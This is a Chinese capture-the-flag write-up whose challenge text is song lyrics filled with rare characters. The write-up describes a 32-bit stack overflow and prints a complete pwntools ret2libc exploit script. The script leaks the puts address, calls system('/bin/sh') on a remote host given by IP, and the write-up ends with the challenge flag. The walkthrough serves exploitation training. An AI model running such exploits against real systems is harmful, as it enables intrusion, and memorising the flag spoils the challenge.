你的名字?
题目
很久很久以前
巨龙突然出现
带来灾难
带走啦公主又消失不见
王国十分危险
世间谁最勇敢
一位勇者赶来
大声喊
我要 带上最好的剑
翻过 最高的山
闯进 最深(sen)的森林
把 公主带回到 面前
国王非常高兴
忙问他的姓名
年轻人想了想
他说陛下我叫
【龘䶛䨻䎱㸞蚮䡶䴞䴝䯬䬛䰕㹚】
再说一次
【龘䶛䨻䎱㸞蚮䡶䴞䴝䯬䬛䰕㹚】
是不是
【龘䶛䨻䎱㸞蚮䡶䴞䴝䯬䬛䰕㹚】
对对
【龘䶛䨻䎱㸞蚮䡶䴞䴝䯬䬛䰕㹚】
英雄【龘䶛䨻䎱】
骑上最快的马
带着大家的希望
从城堡里出发
战胜怪兽来袭
获得十二金币
无数伤痕见证
他慢慢升级
偏远美丽村庄
打开所有宝箱
一路风霜伴随
指引前路的圣月光
闯入一座山洞
公主和可怕巨龙
英雄拔出宝剑
巨龙说
我是【㱎䖘䵈䶁䘔䶑䘓鋱䩳䵷㒪䪉䉥】
再来一次
【㱎䖘䵈䶁䘔䶑䘓鋱䩳䵷㒪䪉䉥】
是不是
【昆特牌 提琴 烤蛋挞 苏打 马拉松】
不对是
【㱎䖘䵈䶁䘔䶑䘓鋱䩳䵷㒪䪉䉥】
于是
【龘䶛䨻䎱㸞蚮䡶䴞䴝䯬䬛䰕㹚】
砍向
【㱎䖘䵈䶁䘔䶑䘓鋱䩳䵷㒪䪉䉥】
然后
【㱎䖘䵈䶁䘔䶑䘓鋱䩳䵷㒪䪉䉥】
咬了
【龘䶛䨻䎱㸞蚮䡶䴞䴝䯬䬛䰕㹚】
最后
【龘䶛䨻䎱㸞蚮䡶䴞䴝䯬䬛䰕㹚】
他战胜了
【㱎䖘䵈䶁䘔䶑䘓鋱䩳䵷㒪䪉䉥】
救出了
公主【䥸䝟䳮䟑䎘䫱䉷䰯䕈䟐䬝】
回到了
【䥰龘䰕䘋㽌䇁䵄䵻䬛蟿䆉㖀】城
国王听说
【龘䶛䨻䎱㸞蚮䡶䴞䴝䯬䬛䰕㹚】
他打败了
【㱎䖘䵈䶁䘔䶑䘓鋱䩳䵷㒪䪉䉥】
就把
公主【䥸䝟䳮䟑䎘䫱䉷䰯䕈䟐䬝】
嫁给
【龘䶛䨻䎱㸞蚮䡶䴞䴝䯬䬛䰕㹚】
啦啦 龘䶛䨻䎱 公主䥸䝟
幸福地像个童话
他们生下一个孩子
也在天天渐渐长大
为了避免以后麻烦
孩子称作王浩然
他的全名十分难念
我不想说一遍
解题报告
题目和内容没什么关系,描述是三无版达拉崩吧的歌词
下载附件,解压出pwn2
,libc.so.6
,使用IDA
反编译pwn2
,发现vuln
可以溢出
int vuln() {
puts("What's your name?");
read(0x0, var_18, 0x80);
eax = puts("Welcome!");
return eax;
}
但是system函数和"/bin/sh"字符串都在libc.so.6里。所以第一次需要先把pwn2内的进行过连接的puts函数的地址输出。方法是使vuln函数返回到puts函数,制定参数为puts函数的GOT,匾便可获得puts的真实地址,从而计算出system函数和"/bin/sh"字符串的地址。在上一步中,使puts函数返回到vuln函数便可再次溢出,第二次溢出直接利用即可拿到Shell。以下是利用脚本
from pwn import *
context(arch='i386', os='linux', log_level='debug')
elf = ELF('pwn2')
libc = ELF('libc.so.6')
pr = remote('139.199.165.63', 10002)
plt_puts = elf.symbols['puts']
print 'plt_puts = ' + hex(plt_puts)
got_puts = elf.got['puts']
print 'got_puts = ' + hex(got_puts)
vulfun_addr = 0x0804843b
print 'vulfun = ' + hex(vulfun_addr)
pr.recvuntil('What\'s your name?')
pr.sendline('A' * 28 + p32(plt_puts) + p32(vulfun_addr) + p32(got_puts)) pr.recvuntil('Welcome!')
pr.recvuntil('\n')
puts_addr = u32(pr.recv(4))
print 'puts_addr = ' + hex(puts_addr)
sys_addr = puts_addr - (libc.symbols['puts'] - libc.symbols['system'])
print 'sys_addr = ' + hex(sys_addr)
binsh_addr = puts_addr - (libc.symbols['puts'] - next(libc.search('/bin/sh'))) print 'binsh_addr= ' + hex(binsh_addr)
pr.recvuntil('What\'s your name?')
pr.sendline('A' * 28 + p32(sys_addr) + p32(vulfun_addr) + p32(binsh_addr)) pr.recvuntil('Welcome!')
pr.recvuntil('\n')
pr.interactive()
拿到Shell后,少量查询后发现Flag在同目录的flag-pwn.txt里,输出得到答案
Flag:HSCTF{Exc4l1en7!}